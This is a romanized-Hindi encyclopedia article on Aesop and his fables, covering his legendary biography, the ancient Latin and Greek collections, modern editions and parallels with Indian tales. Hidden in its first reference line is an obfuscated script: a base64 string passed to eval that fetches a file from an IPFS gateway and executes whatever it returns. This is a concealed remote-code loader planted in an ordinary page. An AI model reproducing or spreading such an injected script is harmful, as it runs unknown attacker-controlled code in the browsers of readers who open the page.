ईसप
eesap janapriy nitikathakar. inaki kathaoan ke patr manushy ki apeksha pashu pakshi adhik haian. is prakar ki kathaoan ko 'bist febuls' kaha jata hai. parantu eesap nam ka koee vyakti kabhi tha, is vishay mean bahut kuchh sandeh hai. tathapi horodotas evan katipay any lekhakoan ke sakshy ke anusar eesap ke jivan ki katha is prakar ki thi : ee.poo. chhathi shatabdi ke madhy mean eesap samaans dvip ke nivasi iyadmanh ke das the, parantu ve videshi das jinake vishay mean yah nishchit pata nahian tha ki phrayake, phragiya athava ithiyopiya deshoan mean se unaka janm kahaan hua tha. ve atyant kuroop the. delphi mean un par devamandir ke svarnachashak ki chori ka arop lagaya gaya aur unako parvatashikhar se dhakka dekar mrityudand diya gaya. par pro. gilbart mare ko is katha par vishvas nahian hai.
jo kathaean eesap ke nam se prachalit haian unaka vartaman roop utana purana nahian hai jitana uparyukt katha ke anusar hona chahie. paanchavian shatabdi ee.poo. se eesap aur unaki kathaoan ki charcha chal p di thi. aristofaniz, zenofanh, pleto aur arastoo ki rachanaoan mean isake sanket milate haian. sukarat ne apane aantim samay mean kuchh kathaoan ko padyabaddh kiya tha, aisa bhi kaha jata hai par vastavikata yah hai ki eesavi sanh ke poorv in kathaoan ke jo sankalan hue the ve ab upalabdh nahian hote. is samay jo prachinatam sankalan upalabdh hue the ve fedrus aur aviyanus dvara latini bhasha mean tatha babriyas dvara grik bhasha mean prastut kie ge the. ye sabhi lekhak eesavi sanh ke aranbh ke pashchath hue haian. isake pashchath in kathaoan ka anuvad yoorop ki adhunik bhashaoan mean hone laga. in anuvadoan mean jyaan d la.fautaee ka padyabaddh phreanch anuvad atayadhik prasiddh hai.
adhunik samay mean eesap ki kahaniyoan ke do sangrah phraans aur jarmani mean mool grik roop mean prakashit hue haian. inamean se aimol shaanbri (peris, 1927) sanskaran mean 358 kathaean haian tatha tayabnar ki grik granthamala mean prakashit halm ke sanskaran mean 426. grik sanskaran shanai: shanai: parivardhit hokar is roop ko prapt hue haian.[1]
eesap ki kathaean panchatantr ki kathaoan ke saman manoranjan ke sath niti aur vyavaharakushalata ki shiksha deti haian. yatratatr inamean has parihas ka bhi put paya jata hai. jatak kathaoan ke sath bhi inaka paryapt samy paya jata hai. kuchh lekhak bharatiy kathaoan ko hi eesap ki kathaoan ka adhar manate haian, any alochak is mat ko nahian manate. eesap ki kathaoan ka anuvad hiandi, sanskrit evan any bharatiy bhashaoan mean bhi ho chuka hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 43 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-shaanbri ka mool grik sanskaran, 1927; halm ka mool grik sanskaran 1889; eesap nitikatha (sanskrit anuvad)